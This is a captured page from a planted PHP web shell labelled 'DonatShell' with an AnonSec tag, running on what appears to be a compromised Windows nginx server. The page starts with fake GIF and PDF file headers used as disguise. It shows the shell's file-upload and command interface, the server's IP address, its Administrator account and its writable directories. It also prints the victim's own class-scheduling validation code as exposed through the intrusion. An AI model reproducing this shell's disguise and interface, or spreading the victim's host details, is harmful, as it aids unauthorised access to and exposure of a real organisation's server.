GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/ScheduleClass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/ScheduleClass/ScheduleClassForm_Verify.phpinc
<?
// Schedule/ScheduleClass/ScheduleClassForm_Verify.phpinc
// Verify class meeting form values.
#d_On();
#d_Status();
t_Begin(d_O()); // Begin TRACKing ScheduleClassForm_Verify.phpinc.
	
d_V(false,'d');
$error = array();
//$error['test'] = 'Bogus error'; // Comment this line to remote testing error.

require('Schedule/ScheduleClass/Verify/courseId.phpinc'); // Verify the schedule class courseId.

// Verify departmentId.
#$f['departmentId'] == 15 
f('departmentId');
$departmentIdValid = is_valid('Class', $f['departmentId'], 'departmentId', 'department');
d_Var('$departmentIdValid',$departmentIdValid);
if ( $departmentIdValid !== true ) {
	d_Line('error','e');
	$error['departmentId'] = $departmentIdValid;
}

// Verify scheduleId.
f('scheduleId');
#$f['scheduleId'] == 2 
$scheduleIdValid = is_valid('', $f['scheduleId'], 'scheduleId', 'schedule');
d_Var('scheduleIdValid',$scheduleIdValid);
if ( $scheduleIdValid !== true ) {
	d_Line('error','e');
	$error['scheduleIdValid'] = 'error: invalid scheduleId ['.htmlSafe($f['scheduleId']).'].';
}

require('Schedule/ScheduleClass/Verify/scheduleclassSection.phpinc');

// Verify sessionId.
#$f['sessionId'] == 22 
f('sessionId');
$sessionIdValid = is_valid('Class', $f['sessionId'], 'sessionId', 'session');
d_Var('$sessionIdValid',$sessionIdValid);
if ( $sessionIdValid !== true ) {
	d_Line('error','e');
	$error['sessionId'] = 'The session ['.$f['sessionId'].'] is invalid.';
}

// Verify scheduleclassId.
f('scheduleclassId');
#$f['scheduleclassId'] == 21 
$scheduleclassIdValid = is_valid('', $f['scheduleclassId'], 'scheduleclassId', 'scheduleclass', true); //is_valid($formLabel, $value, $fieldName, $tableName, $zeroIdOK, $database)
d_Var('scheduleclassIdValid',$scheduleclassIdValid);
if ( $scheduleclassIdValid !== true ) {
	d_Line('error','e');
	$error['scheduleclassIdValid'] = 'error: invalid scheduleclassId ['.htmlSafe($f['scheduleclassId']).'].';
}

// Verify scheduleclassEndDate.
#$f['scheduleclassEndDate'] == '2017-05-12' 
f('scheduleclassEndDate');
$scheduleclassEndDate = is_date($f['scheduleclassEndDate']);
d_Var('$scheduleclassEndDate',$scheduleclassEndDate);
if ( !$scheduleclassEndDate ) {
	d_Line('error','e');
	$error['scheduleclassEndDate'] = 'error: scheduleclassEndDate is not a valid date.';
}

// Verify scheduleclassStartDate.
f('scheduleclassStartDate');
$scheduleclassStartDate = is_date($f['scheduleclassStartDate']);
d_Var('$scheduleclassStartDate',$scheduleclassStartDate);
if ( !$scheduleclassStartDate ) {
	d_Line('error','e');
	$error['scheduleclassStartDate'] = 'error: scheduleclassStartDate is not a valid date.';
}

// Verify dates are IN the semester.
#if (!isset($sessionInfo)) { require('Schedule/getSession.phpinc'); } // May not need.
if ( $f['scheduleclassStartDate'] < $sessionInfo['sessionStart'] ) {
	d_Line('error','e');
	$error['scheduleclassStartDate'] = 'error: scheduleclassStartDate is before session start date.';
}
if ( $f['scheduleclassStartDate'] > $sessionInfo['sessionEnd'] ) {
	d_Line('error','e');
	$error['scheduleclassStartDate'] = 'error: scheduleclassStartDate is after session end date.';
}
if ( $f['scheduleclassEndDate'] < $sessionInfo['sessionStart'] ) {
	d_Line('error','e');
	$error['scheduleclassEndDate'] = 'error: scheduleclassEndDate is before session start date.';
}
if ( $f['scheduleclassEndDate'] > $sessionInfo['sessionEnd'] ) {
	d_Line('error','e');
	$error['scheduleclassEndDate'] = 'error: scheduleclassEndDate is after session end date.';
}
if ( $f['scheduleclassEndDate'] < $f['scheduleclassStartDate'] ) {
	d_Line('error','e');
	$error['scheduleclassEndDate'] = 'error: scheduleclassEndDate is before scheduleclassStartDate.';
}

// Verify scheduleclassOnline.
f('scheduleclassOnline');
if ( $f['scheduleclassOnline'] ) {
	if ( $f['scheduleclassOnline'] != 1 ) {
		d_Line('error','e');
		$error['scheduleclassOnline'] = 'error: scheduleclassOnline value sent is not valid. ['.htmlSafe($f['scheduleclassOnline']).'] sent.';
	}
} else {
	$f['scheduleclassOnline'] = 0;
}

// These form variables have the scheduleclassmeetingId (scmId) in the name.

$f['instructorIds'] = array();
$f['scheduleclassmeetingOnCampus'] = array();
$f['roomIds'] = array();
$scheduleclassmeetingEndDate = array();
$scheduleclassmeetingStartDate = array();
$scheduleclassmeetingArranged = array();
$weekdayIds = array();
$scheduleclassmeetingBeginTime = array();
$scheduleclassmeetingEndTime = array();

$f['scheduleclassmeetingIds'] = explode(',',$f['scheduleclassmeetingIds']);
#d_V('scheduleclassmeetingIds','d');
#d_Line('BEGIN scm loop.','da');
foreach ( $f['scheduleclassmeetingIds'] as $scmId ) { // Loop thru scheduleclassmeetingIds.
	
	// Verify scheduleclassmeetingId.
	$v_scmId = $scmId;
	if ( !is_numeric($v_scmId) ) $v_scmId = 0;
	$scmIdValid = is_valid('', $v_scmId, 'scheduleclassmeetingId', 'scheduleclassmeeting', true);
	d_Var('$scmIdValid',$scmIdValid);
	if ( $scmIdValid !== true ) {
		d_Line('error','e');
		if ( !isset($error['scheduleclassmeetingId']) ) $error['scheduleclassmeetingId'] = array();
		$error['scheduleclassmeetingId'][$scmId] = 'error: invalid scheduleclassmeetingId ['.htmlSafe($scmId).'].';
	}	
	
	// Verify instructorId.
	/** /
$f['instructorId_243_0'] == 163 
$f['instructorId_243_1'] == 21 
$f['instructorId_243_2'] == 19 
$f['instructorId_243_3'] == '' 
$f['instructorId_243_4'] == '' 
$f['instructorId_243_5'] == '' 
$f['instructorId_add1_0'] == 18 
$f['instructorId_add1_1'] == '' 
$f['instructorId_add1_2'] == '' 
$f['instructorId_add1_3'] == '' 
$f['instructorId_add1_4'] == '' 
$f['instructorId_add1_5'] == '' 
	/**/
	$instructorIndex = 0;
	if ( !isset($f['instructorIds'][$scmId]) ) $f['instructorIds'][$scmId] = array();
	while ( isset($f['instructorId_'.$scmId.'_'.$instructorIndex]) ) {
		if ( $f['instructorId_'.$scmId.'_'.$instructorIndex] ) {
			$f['instructorIds'][$scmId][] = $f['instructorId_'.$scmId.'_'.$instructorIndex];
		}
		unset($f['instructorId_'.$scmId.'_'.$instructorIndex]);
		$instructorIndex++;
	}
	d_V('instructorIds');
	d_V();
	foreach ( $f['instructorIds'][$scmId] as $instructorId ) {
		$instructorIdValid = is_valid('Instructor', $instructorId, 'userId', 'user');
		d_Var('$instructorIdValid',$instructorIdValid);
		if ( $instructorIdValid !== true ) {
			d_Line('error','e');
			if ( !isset($error['instructorId']) ) $error['instructorId'] = array();
			$error['instructorId'][$scmId] = 'error';
		}
	}

	// Verify scheduleclassmeetingOffCampus.
	f('scheduleclassmeetingOffCampus_'.$scmId);
	if ( $f['scheduleclassmeetingOffCampus_'.$scmId] ) {
		$f['scheduleclassmeetingOnCampus'][$scmId] = 0;
	} else {
		$f['scheduleclassmeetingOnCampus'][$scmId] = 1;
	}
	unset($f['scheduleclassmeetingOffCampus_'.$scmId]);
	
	// Verify roomId.
#$f['roomId_243_0'] == 33 
#$f['roomId_243_1'] == '' 
	if ( $f['scheduleclassmeetingOnCampus'][$scmId] ) {
		$roomIndex = 0;
		if ( !isset($f['roomIds'][$scmId]) ) $f['roomIds'][$scmId] = array();
		while ( isset($f['roomId_'.$scmId.'_'.$roomIndex]) ) {
			if ( $f['roomId_'.$scmId.'_'.$roomIndex] ) {
				$f['roomIds'][$scmId][] = $f['roomId_'.$scmId.'_'.$roomIndex];
			}
			unset($f['roomId_'.$scmId.'_'.$roomIndex]);
			$roomIndex++;
		}
		d_V('roomIds');
		d_V();
		foreach ( $f['roomIds'][$scmId] as $roomId ) {
			$roomIdValid = is_valid('Room', $roomId, 'roomId', 'room');
			d_Var('$roomIdValid',$roomIdValid);
			if ( $roomIdValid !== true ) {
				d_Line('error','e');
				if ( !isset($error['roomId']) ) $error['roomId'] = array();
				$error['roomId'][$scmId] = 'bad room';
			}
		}
	}
	
	// Verify scheduleclassmeetingEndDate.
	# Check schedule for classes with no meeting start or end dates.
#$f['scheduleclassmeetingEndDate_243'] == '2017-05-12' 
	f('scheduleclassmeetingEndDate_'.$scmId);
	d_V('scheduleclassmeetingEndDate_'.$scmId);
	if ( $f['scheduleclassmeetingEndDate_'.$scmId] != '' ) {
		$scheduleclassmeetingEndDate[$scmId] = is_date($f['scheduleclassmeetingEndDate_'.$scmId]);
		d_Var('$scheduleclassmeetingEndDate[$scmId]',$scheduleclassmeetingEndDate[$scmId]);
		if ( !$scheduleclassmeetingEndDate[$scmId] ) {
			d_Line('error','e');
			if ( !isset($error['scheduleclassmeetingEndDate']) ) $error['scheduleclassmeetingEndDate'] = array();
			$error['scheduleclassmeetingEndDate'][$scmId] = 'error scheduleclassmeetingEndDate ['.$scheduleclassmeetingEndDate[$scmId].'] is not valid.';
		} else {
			$f['scheduleclassmeetingEndDate'][$scmId] = $scheduleclassmeetingEndDate[$scmId];
		}
	} else {
		d_Line('error','e');
		if ( !isset($error['scheduleclassmeetingEndDate']) ) $error['scheduleclassmeetingEndDate'] = array();
		$error['scheduleclassmeetingEndDate'][$scmId] = 'error no scheduleclassmeetingEndDate';
	}
	unset($f['scheduleclassmeetingEndDate_'.$scmId]);
	
	// Verify scheduleclassmeetingStartDate.
#$f['scheduleclassmeetingStartDate_243'] == '2017-03-13' 
	f('scheduleclassmeetingStartDate_'.$scmId);
	d_V('scheduleclassmeetingStartDate_'.$scmId);
	if ( $f['scheduleclassmeetingStartDate_'.$scmId] != '' ) {
		$scheduleclassmeetingStartDate[$scmId] = is_date($f['scheduleclassmeetingStartDate_'.$scmId]);
		d_Var('$scheduleclassmeetingStartDate[$scmId]',$scheduleclassmeetingStartDate[$scmId]);
		if ( !$scheduleclassmeetingStartDate[$scmId] ) {
			d_Line('error','e');
			if ( !isset($error['scheduleclassmeetingStartDate']) ) $error['scheduleclassmeetingStartDate'] = array();
			$error['scheduleclassmeetingStartDate'][$scmId] = 'error scheduleclassmeetingStartDate ['.$scheduleclassmeetingStartDate[$scmId].'] is not valid.';
		} else {
			$f['scheduleclassmeetingStartDate'][$scmId] = $scheduleclassmeetingStartDate[$scmId];
		}
	} else {
		d_Line('error','e');
		if ( !isset($error['scheduleclassmeetingStartDate']) ) $error['scheduleclassmeetingStartDate'] = array();
		$error['scheduleclassmeetingStartDate'][$scmId] = 'error no scheduleclassmeetingStartDate';
	}
	unset($f['scheduleclassmeetingStartDate_'.$scmId]);
	
	if ( !isset($error['scheduleclassmeetingStartDate'][$scmId]) ) {
		// Verify scheduleclassmeetingEndDate is between class dates.
		if ( $scheduleclassmeetingEndDate[$scmId] < $f['scheduleclassStartDate'] ) {
			d_Line('error','e');
			if ( !isset($error['scheduleclassmeetingEndDate']) ) $error['scheduleclassmeetingEndDate'] = array();
			$error['scheduleclassmeetingEndDate'][$scmId] = 'error: scheduleclassmeetingEndDate is before scheduleclassStartDate.';
		}
		if ( $scheduleclassmeetingEndDate[$scmId] > $f['scheduleclassEndDate'] ) {
			d_Line('error','e');
			if ( !isset($error['scheduleclassmeetingEndDate']) ) $error['scheduleclassmeetingEndDate'] = array();
			$error['scheduleclassmeetingEndDate'][$scmId] = 'error: scheduleclassmeetingEndDate is after scheduleclassEndDate.';
		}
	}
	if ( !isset($error['scheduleclassmeetingStartDate'][$scmId]) ) {
		// Verify scheduleclassmeetingStartDate is between class dates.
		if ( $scheduleclassmeetingStartDate[$scmId] < $f['scheduleclassStartDate'] ) {
			d_Line('error','e');
			if ( !isset($error['$scheduleclassmeetingStartDate']) ) $error['$scheduleclassmeetingStartDate'] = array();
			$error['$scheduleclassmeetingStartDate'][$scmId] = 'error: $scheduleclassmeetingStartDate is before scheduleclassStartDate.';
		}
		if ( $scheduleclassmeetingStartDate[$scmId] > $f['scheduleclassEndDate'] ) {
			d_Line('error','e');
			if ( !isset($error['$scheduleclassmeetingStartDate']) ) $error['$scheduleclassmeetingStartDate'] = array();
			$error['$scheduleclassmeetingStartDate'][$scmId] = 'error: $scheduleclassmeetingStartDate is after scheduleclassEndDate.';
		}
	}
	if ( !isset($error['scheduleclassmeetingStartDate'][$scmId]) && !isset($error['scheduleclassmeetingEndDate'][$scmId]) ) {
		// Verify scheduleclassmeetingEndDate is after scheduleclassmeetingStartDate.
		if ( $scheduleclassmeetingEndDate[$scmId] < $scheduleclassmeetingStartDate[$scmId] ) {
			d_Line('error','e');
			if ( !isset($error['scheduleclassmeetingEndDate']) ) $error['scheduleclassmeetingEndDate'] = array();
			$error['scheduleclassmeetingEndDate'][$scmId] = 'error: scheduleclassmeetingEndDate is before scheduleclassmeetingStartDate.';
		}
	}

	// Verify scheduleclassmeetingArranged.
	#scheduleclassmeetingArranged_423 == 1.
	f('scheduleclassmeetingArranged_'.$scmId);
	if ( $f['scheduleclassmeetingArranged_'.$scmId] ) {
		$scheduleclassmeetingArranged[$scmId] = 1;
	} else {
		$scheduleclassmeetingArranged[$scmId] = 0;
	}
	#d_Var('$scheduleclassmeetingArranged',$scheduleclassmeetingArranged,'d');
	
	// Verify weekdayId.
	// $f['weekdayIds_229'][0]
#$f['weekdayIds_243'] =
#	$f['weekdayIds_243'][0] == 3 
	f('weekdayIds_'.$scmId);
	#d_V('weekdayIds_'.$scmId,'d');
	#f('weekdayIds_'.$v_scmId);
	#d_V('weekdayIds_'.$v_scmId,'d');
	
	// SKIP
	/**/
		if ( !isset($f['weekdayIds'][$scmId]) ) $f['weekdayIds'][$scmId] = array();
	if ( is_array($f['weekdayIds_'.$scmId]) && count($f['weekdayIds_'.$scmId]) ) {
		if ( !$scheduleclassmeetingArranged[$scmId] ) {
			foreach ( $f['weekdayIds_'.$scmId] as $weekdayId ) {
				$weekdayIdValid = is_valid('Days', $weekdayId, 'weekdayId', 'weekday');
				d_Var('$weekdayIdValid',$weekdayIdValid);
				if ( $weekdayIdValid ) {
					$f['weekdayIds'][$scmId][] = $weekdayId;
				} else {
					d_Line('error '.$weekdayId.' is invalid.','e');
					$error['weekdayIds'] = $weekdayIdValid;
				}
			}
		}
		unset($f['weekdayIds_'.$scmId]);
	} else {
		if ( !$scheduleclassmeetingArranged[$scmId] ) {
			// Not arranged without days checked.
			$error['weekdayIds'] = 'error no weekdays.';
		}
	}
#d_Var("\$f['weekdayIds'][$scmId]",$f['weekdayIds'][$scmId],'d');
	
	// Verify scheduleclassmeetingBeginTime.
#$f['scheduleclassmeetingBeginTime_243'] == '9:30am' 
	# TBA time must be looked at.
	f('scheduleclassmeetingBeginTime_'.$scmId);
	d_V('scheduleclassmeetingBeginTime_'.$scmId);
	if ( !$scheduleclassmeetingArranged[$scmId] ) {
		$scheduleclassmeetingBeginTime[$scmId] = valid_time($f['scheduleclassmeetingBeginTime_'.$scmId]);
		d_Var('$scheduleclassmeetingBeginTime[$scmId]',$scheduleclassmeetingBeginTime[$scmId],'');
		if ( !$scheduleclassmeetingBeginTime[$scmId] ) {
			d_Line('error','e');
			if ( !isset($error['scheduleclassmeetingBeginTime']) ) $error['scheduleclassmeetingBeginTime'] = array();
			$error['scheduleclassmeetingBeginTime'][$scmId] = 'error scheduleclassmeetingBeginTime';
		} else {
			$f['scheduleclassmeetingBeginTime'][$scmId] = $scheduleclassmeetingBeginTime[$scmId];
		}
	} else {
		$scheduleclassmeetingBeginTime[$scmId] = NULL;
		$f['scheduleclassmeetingBeginTime'][$scmId] = NULL;
	}
	unset($f['scheduleclassmeetingBeginTime_'.$scmId]);

	// Verify scheduleclassmeetingEndTime.
#$f['scheduleclassmeetingEndTime_243'] == '9:50am' 
	f('scheduleclassmeetingEndTime_'.$scmId);
	if ( !$scheduleclassmeetingArranged[$scmId] ) {
		$scheduleclassmeetingEndTime[$scmId] = valid_time($f['scheduleclassmeetingEndTime_'.$scmId]);
		d_Var('$scheduleclassmeetingEndTime[$scmId]',$scheduleclassmeetingEndTime[$scmId],'');
		if ( !$scheduleclassmeetingEndTime[$scmId] ) {
			d_Line('error','e');
			if ( !isset($error['scheduleclassmeetingEndTime']) ) $error['scheduleclassmeetingEndTime'] = array();
			$error['scheduleclassmeetingEndTime'][$scmId] = 'error scheduleclassmeetingEndTime';
		} else {
			$f['scheduleclassmeetingEndTime'][$scmId] = $scheduleclassmeetingEndTime[$scmId];
		}
	} else {
		$scheduleclassmeetingEndTime[$scmId] = NULL;
		$f['scheduleclassmeetingEndTime'][$scmId] = NULL;
	}
	unset($f['scheduleclassmeetingEndTime_'.$scmId]);
	if ( !$scheduleclassmeetingArranged[$scmId] ) {
		// Verify end time is after begin time.
		if ( $scheduleclassmeetingEndTime[$scmId] < $scheduleclassmeetingBeginTime[$scmId]  ) {
			d_Line('error','e');
			if ( !isset($error['scheduleclassmeetingEndTime']) ) $error['scheduleclassmeetingEndTime'] = array();
			$error['scheduleclassmeetingEndTime'][$scmId] = 'error scheduleclassmeetingEndTime is before scheduleclassmeetingBeginTime.';
		}
	}
	/**/
} // Loop thru scheduleclassmeetingIds.
#d_Line('  END scm loop.','da');

d_V();
d_Var('$scheduleclassmeetingStartDate',$scheduleclassmeetingStartDate);
d_Var('$scheduleclassmeetingEndDate',$scheduleclassmeetingEndDate);
d_Var('$scheduleclassmeetingBeginTime',$scheduleclassmeetingBeginTime);
d_Var('$scheduleclassmeetingEndTime',$scheduleclassmeetingEndTime);
#d_Var('$error',$error,'d');
#d_End();
/** /
$scheduleclassmeetingEndDate = array();
$scheduleclassmeetingStartDate = array();
$scheduleclassmeetingBeginTime = array();
$scheduleclassmeetingEndTime = array();
?></div><?
/**/
t_End(); // End TRACKing ScheduleClassForm_Verify.phpinc.
?>

Anon7 - 2022
AnonSec Team